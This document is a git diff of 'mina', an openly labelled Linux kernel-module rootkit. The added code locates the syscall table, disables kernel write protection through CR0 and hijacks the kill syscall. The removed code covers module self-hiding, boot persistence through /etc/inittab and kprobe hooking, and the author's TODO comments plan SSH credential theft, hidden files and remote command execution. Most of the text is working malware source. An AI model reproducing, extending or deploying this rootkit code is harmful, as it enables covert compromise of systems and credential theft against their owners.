diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -12,6 +12,7 @@ MINA_CLIENT_ID = meow
# kernel vars cant define with patsubst for some fucking reason
obj-m := mina_$(MINA_CLIENT_ID).o
mina_$(MINA_CLIENT_ID)-objs := mina.o \
+ hooks/hooks.o \
hooks/kill.o
diff --git a/rootkit/cmd.txt b/rootkit/cmd.txt
@@ -1 +1,4 @@
sudo cp -r /mnt/shared/rootkit . && sudo chown -R djnn:djnn rootkit && cd rootkit ; make clean ; make && sudo make load
+
+https://github.com/Sargastico/LKM-Kill-SysCallHook/blob/main/main.c
+
diff --git a/rootkit/hooks/hooks.c b/rootkit/hooks/hooks.c
@@ -0,0 +1,56 @@
+
+/*
+ this file contains all the necessary util function to set up, tear down,
+ modify, search for hooks, and anything of the sort.
+*/
+
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+
+#include "../includes/mina.h"
+
+static kallsyms_lookup_function_t get_kallsyms_lookup(void) {
+ kallsyms_lookup_function_t lkp = NULL;
+ struct kprobe kp = {
+ .symbol_name = "kallsyms_lookup_name",
+ };
+
+ register_kprobe(&kp);
+ lkp = (kallsyms_lookup_function_t)kp.addr;
+ unregister_kprobe(&kp);
+ return lkp;
+}
+
+uint64_t *get_syscall_table(void) {
+ kallsyms_lookup_function_t lookup = get_kallsyms_lookup();
+
+ return (!lookup) ? NULL : (uint64_t *)lookup("sys_call_table");
+}
+
+static inline void commit_cr0(uint64_t val) {
+ uint64_t __force_order = 0;
+
+ asm volatile(
+ "mov %0, %%cr0"
+ : "+r"(val), "+m"(__force_order));
+}
+
+void enable_memory_protection(uint64_t original_cr0) {
+ commit_cr0(original_cr0);
+}
+
+void disable_memory_protection(uint64_t cr0) {
+ /* cr0 & ~0x00010000 => sets write permissions to read-only memory pages :) */
+ commit_cr0(cr0 & ~0x00010000);
+}
+
+hook_t *retrieve_hook_metadata(uint8_t syscall_nb) {
+ for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
+ if (sys_hooks[ctr].syscall_nb == syscall_nb)
+ return &sys_hooks[ctr];
+ }
+ return NULL;
+}
diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -1,57 +1,23 @@
-#include "../includes/mina.h"
-
-#define SIGNAL_TOGGLE_HIDE (1312)
-#define SIGNAL_SET_ROOT (6969)
-
-void *kill_original = NULL;
-
-/* required to show / hide the module (hidden by default) */
-int is_hidden = 1;
-struct list_head *prev_module;
-
-asmlinkage int64_t hook_syskill(const struct pt_regs *regs) {
-
- /* FIXME(djnn): it seems this hook is actually never called...? */
-
- if (kill_original == NULL) {
- printk(KERN_INFO "[mina] loading kill hook using linear search");
- kill_original = syscall_linear_search(HOOK_SYSCALL_NAME);
- }
-
- int sig = regs->si;
+/*
+ this file contains the hooked function for the hook syscall.
+*/
- /*
- TODO(djnn):
- * Sending a signal 6969(to any pid) makes the given user become root,
- */
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/module.h>
+#include <linux/slab.h>
- printk(KERN_INFO "[mina] signal num: %d\n", sig);
+#include "../includes/mina.h"
- /* hide or unhide the module:) */
- if (sig == SIGNAL_TOGGLE_HIDE) {
- if (!is_hidden) {
- printk(KERN_INFO "mina: hiding module:)\n");
- hide_module();
- return 0;
- } else {
- printk(KERN_INFO "mina: welcome back!\n");
- readd_module();
- return 0;
- }
+short unsigned int hooked_kill_syscall(const struct pt_regs *regs) {
+ hook_t *metadata = retrieve_hook_metadata(__NR_kill);
+ if (!metadata) {
+ printk(KERN_INFO "[mina] oh no");
+ return -EINVAL;
}
- return make_syscall(kill_original, regs);
-}
-
-void hide_module(void) {
- prev_module = THIS_MODULE->list.prev;
- list_del(&THIS_MODULE->list);
- is_hidden = 1;
-}
-
-void readd_module(void) {
- list_add(&THIS_MODULE->list, prev_module);
- printk(KERN_INFO "mina: welcome back!\n");
- is_hidden = 0;
+ return metadata->original(regs);
}
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -7,26 +7,26 @@
#include <linux/kprobes.h>
-/* located in kill.c */
-
-void hide_module(void);
-void readd_module(void);
+typedef short unsigned int (*syscall_t)(const struct pt_regs *);
+typedef struct function_hook_metadata {
+ uint8_t syscall_nb;
+ syscall_t hook;
+ syscall_t original;
+} hook_t;
-typedef struct mina__hook {
- void *hookaddr;
- char hookname[HOOKNAME_MAX_SZ];
+typedef uint64_t (*kallsyms_lookup_function_t)(const uint8_t *function_name);
- /* https://www.kernel.org/doc/Documentation/kprobes.txt */
- struct kprobe *kpb;
-} hook_t;
+// hooks/hooks.c
+uint64_t *get_syscall_table(void);
+void disable_memory_protection(uint64_t cr0);
+void enable_memory_protection(uint64_t original_cr0);
+hook_t *retrieve_hook_metadata(uint8_t syscall_nb);
-/* HOOKS definitions :) */
-#define HOOK_SYSCALL_NAME ("__x64_sys_kill")
-asmlinkage int64_t hook_syskill(const struct pt_regs *);
+// hooks/kill.c
+short unsigned int hooked_kill_syscall(const struct pt_regs *);
-// hooks utils
-void *syscall_linear_search(const char *hk_name);
-int make_syscall(void *callme, const struct pt_regs *regs);
-int __kprobe_prehandler(struct kprobe *kp, struct pt_regs *r);
+static hook_t sys_hooks[] = {
+ {.syscall_nb = __NR_kill, .hook = hooked_kill_syscall, .original = NULL},
+};
-#endif
+#endif /* __KERNEL_MINA_H */
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -8,183 +8,45 @@
MODULE_LICENSE("GPL");
MODULE_AUTHOR("djnn <[email protected]>");
-MODULE_DESCRIPTION("mina LKM rootkit^-^");
+MODULE_DESCRIPTION("mina LKM rootkit");
MODULE_VERSION("0.0.1");
/*
* mina.ko/rootkit
- * tiny LKM rootkit with kprobe hooking written by djnn (https://djnn.sh)
+ *
+ * tiny LKM rootkit written by djnn (https://djnn.sh)
*/
+static int __init module_start(void) {
+ uint64_t *sys_table = get_syscall_table();
+ uint64_t cr0 = read_cr0();
-hook_t SYS_HOOKS[] = {
- /* used to trigger actions, prevent from killing some process, hide current rootkit */
- {.hookaddr = hook_syskill, .hookname = HOOK_SYSCALL_NAME, .kpb = NULL},
-
-};
-
-#define NB_HOOKS (sizeof(SYS_HOOKS) / sizeof(SYS_HOOKS[0]))
-
-#define HOOKNAME_MAX_SZ 512
-
-static int __add_inittab_entry(char const *entry) {
- int ret = 0;
- struct file *file;
- loff_t pos = 0;
-
- file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
- if (IS_ERR(file)) {
- ret = PTR_ERR(file);
- }
-
- ret = kernel_write(file, entry, strlen(entry), &pos);
- if (ret < 0) {
- filp_close(file, NULL);
- return ret;
- }
-
- filp_close(file, NULL);
- return 0;
-}
-
-void *syscall_linear_search(const char *hk_name) {
- for (int i = 0; i < NB_HOOKS; i++) {
- if (SYS_HOOKS[i].kpb == NULL)
- continue;
-
- if (!strcmp(SYS_HOOKS[i].kpb->symbol_name, hk_name))
- return SYS_HOOKS[i].kpb->addr;
- }
-
- /* NOTE(djnn): what to do if the hook is not found ? */
- printk(KERN_INFO "[MINA] could not find original for %s\n", hk_name);
- return NULL;
-}
-
-inline int make_syscall(void *callme, const struct pt_regs *regs) {
-
- int ret = 0;
- asm("mov %1, %%rdi;"
- "call *%2;"
- "mov %%rax, %0"
- : "=m"(ret)
- : "r"(regs), "m"(callme)
- : "%rdi", "%rax");
- return ret;
-}
-
-int __kprobe_prehandler(struct kprobe *kp, struct pt_regs *r) {
+ if (!sys_table)
+ return -1;
- printk(KERN_INFO "[MINA] entering prehandler (ip=%#lx => within_module ? %d)\n", r->ip, !within_module(r->ip, THIS_MODULE));
- if (within_module(r->ip, THIS_MODULE)) {
- return 0;
+ disable_memory_protection(cr0);
+ for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
+ sys_hooks[ctr].original = (syscall_t)sys_table[sys_hooks[ctr].syscall_nb];
+ sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].hook;
}
- for (int i = 0; i < NB_HOOKS; i++) {
- if (SYS_HOOKS[i].kpb == NULL)
- continue;
-
- /* if IP within current module, we are already in the hook */
- if (strcmp(kp->symbol_name, SYS_HOOKS[i].hookname) == 0) {
- printk(KERN_INFO "[MINA] hit hook for %s => %#lx\n", SYS_HOOKS[i].kpb->symbol_name, (unsigned long)SYS_HOOKS[i].hookaddr);
- r->ip = (unsigned long)SYS_HOOKS[i].hookaddr;
- return 1;
- }
- }
+ enable_memory_protection(cr0);
+ printk(KERN_INFO "mina is cute ~\n");
return 0;
}
-static int __setup_hooks(void) {
- hook_t *iter = NULL;
- for (int i = 0; i < NB_HOOKS; i++) {
- iter = &SYS_HOOKS[i];
-
- iter->kpb = kzalloc(sizeof(struct kprobe), GFP_KERNEL);
- if (iter->kpb == NULL) {
- printk(KERN_WARNING "[mina] kzalloc() failed while registering kprobes");
- goto bailout;
- }
-
- iter->kpb->symbol_name = kzalloc(HOOKNAME_MAX_SZ, GFP_KERNEL);
- if (iter->kpb->symbol_name == NULL) {
- printk(KERN_WARNING "[mina] kzalloc() failed while registering kprobe symbol_name");
- goto bailout;
- }
-
- strscpy(iter->kpb->symbol_name, iter->hookname, HOOKNAME_MAX_SZ);
- if (iter->kpb->symbol_name == NULL) {
- printk(KERN_WARNING "[mina] strncpy() failed while registering kprobes");
- goto bailout;
- }
-
- printk(KERN_INFO "[mina %d] calling register_kprobe() for %s\n", i, iter->kpb->symbol_name);
- int kp = register_kprobe(iter->kpb);
- printk(KERN_INFO "[mina] result => %d", kp);
-
- if (kp != 0) {
- printk(KERN_WARNING "[mina] register_kprobe() failed");
- continue;
- }
- }
- return 0;
-
-bailout:
- for (int i = 0; i < NB_HOOKS; i++) {
- iter = &SYS_HOOKS[i];
-
- if (iter->kpb == NULL)
- continue;
-
- unregister_kprobe(iter->kpb);
- if (iter->kpb->symbol_name != NULL)
- kfree(iter->kpb->symbol_name);
-
- kfree(iter->kpb);
- }
-
- return -1;
-}
+static void __exit module_end(void) {
+ uint64_t *sys_table = get_syscall_table();
+ uint64_t cr0 = read_cr0();
-static void __remove_hooks(void) {
- hook_t *iter = NULL;
+ if (!sys_table)
+ return;
- for (int i = 0; i < NB_HOOKS; i++) {
- iter = &SYS_HOOKS[i];
- unregister_kprobe(iter->kpb);
- kfree(iter->kpb);
+ disable_memory_protection(cr0);
+ for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
+ sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].original;
}
-}
-static int __init module_start(void) {
- printk(KERN_INFO "mina is cute ~\n");
-
- if (__setup_hooks() < 0)
- return 1;
-
- /* uncomment this if you want the rootkit to hide itself automatically.
-
- hide_module();
- */
-
- /* uncomment this if you want the rootkit to automatically be there on boot.
-
- if (__add_inittab_entry("::sysinit:/sbin/insmod /root/mina.ko\n";) != 0)
- return 1;
- */
-
- /*
- TODO(djnn):
-
- * steal ssh credentials,
- * Files or directories starting with the MAGIC_PREFIX become invisble,
- * Possibility to execute commands by pinging the machine with MAGIC_PREFIX in data field
-
-*/
-
- return 0;
-}
-
-static void __exit module_end(void) {
- __remove_hooks();
+ enable_memory_protection(cr0);
printk(KERN_INFO "bye-bye mina ~\n");
}
| | | | | |